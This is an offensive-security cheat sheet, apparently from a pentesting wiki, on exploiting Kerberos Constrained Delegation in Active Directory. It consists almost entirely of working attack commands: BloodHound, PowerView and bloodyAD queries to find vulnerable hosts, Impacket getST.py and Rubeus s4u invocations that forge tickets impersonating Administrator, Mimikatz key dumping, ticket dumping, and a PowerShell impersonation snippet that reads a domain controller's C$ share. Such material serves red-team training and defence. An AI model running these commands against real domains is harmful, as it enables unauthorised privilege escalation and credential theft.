Kerberos Delegation - Constrained Delegation

Kerberos Constrained Delegation (KCD) is a security feature in Microsoft’s Active Directory (AD) that allows a service to impersonate a user or another service in order to access resources on behalf of that user or service.

Identify a Constrained Delegation

• BloodHound: MATCH p = (a)-[:AllowedToDelegate]->(c:Computer) RETURN p

• PowerView: Get-NetComputer -TrustedToAuth | select samaccountname,msds-allowedtodelegateto | ft

• Native

  Get-DomainComputer -TrustedToAuth | select -exp dnshostname
  Get-DomainComputer previous_result | select -exp msds-AllowedToDelegateTo

• bloodyAD:

  bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 get search --filter '(&(objectCategory=Computer)(userAccountControl:1.2.840.113556.1.4.803:=16777216))' --attr sAMAccountName,msds-allowedtodelegateto

Exploit the Constrained Delegation

• Impacket

  getST.py -spn HOST/SQL01.DOMAIN 'DOMAIN/user:password' -impersonate Administrator -dc-ip 10.10.10.10

• Rubeus: S4U2 attack (S4U2self + S4U2proxy)

  # with a password
  Rubeus.exe s4u /nowrap /msdsspn:"time/target.local" /altservice:cifs /impersonateuser:"administrator" /domain:"domain" /user:"user" /password:"password"
  
  # with a NT hash
  Rubeus.exe s4u /user:user_for_delegation /rc4:user_pwd_hash /impersonateuser:user_to_impersonate /domain:domain.com /dc:dc01.domain.com /msdsspn:time/srv01.domain.com /altservice:cifs /ptt
  Rubeus.exe s4u /user:MACHINE$ /rc4:MACHINE_PWD_HASH /impersonateuser:Administrator /msdsspn:"cifs/dc.domain.com" /altservice:cifs,http,host,rpcss,wsman,ldap /ptt
  dir \\dc.domain.com\c$

• Rubeus: use an existing ticket to perform a S4U2 attack to impersonate the “Administrator”

  # Dump ticket
  Rubeus.exe tgtdeleg /nowrap
  Rubeus.exe triage
  Rubeus.exe dump /luid:0x12d1f7
  
  # Create a ticket
  Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:cifs/srv.domain.local /ticket:doIFRjCCBUKgAwIBB...BTA== /ptt

• Rubeus : using aes256 keys

  # Get aes256 keys of the machine account
  privilege::debug
  token::elevate
  sekurlsa::ekeys
  
  # Create a ticket
  Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:cifs/srv.domain.local /user:win10x64$ /aes256:4b55f...fd82 /ptt

Impersonate a domain user on a resource

Require:

• SYSTEM level privileges on a machine configured with constrained delegation

PS> [Reflection.Assembly]::LoadWithPartialName('System.IdentityModel') | out-null
PS> $idToImpersonate = New-Object System.Security.Principal.WindowsIdentity @('administrator')
PS> $idToImpersonate.Impersonate()
PS> [System.Security.Principal.WindowsIdentity]::GetCurrent() | select name
PS> ls \\dc01.offense.local\c$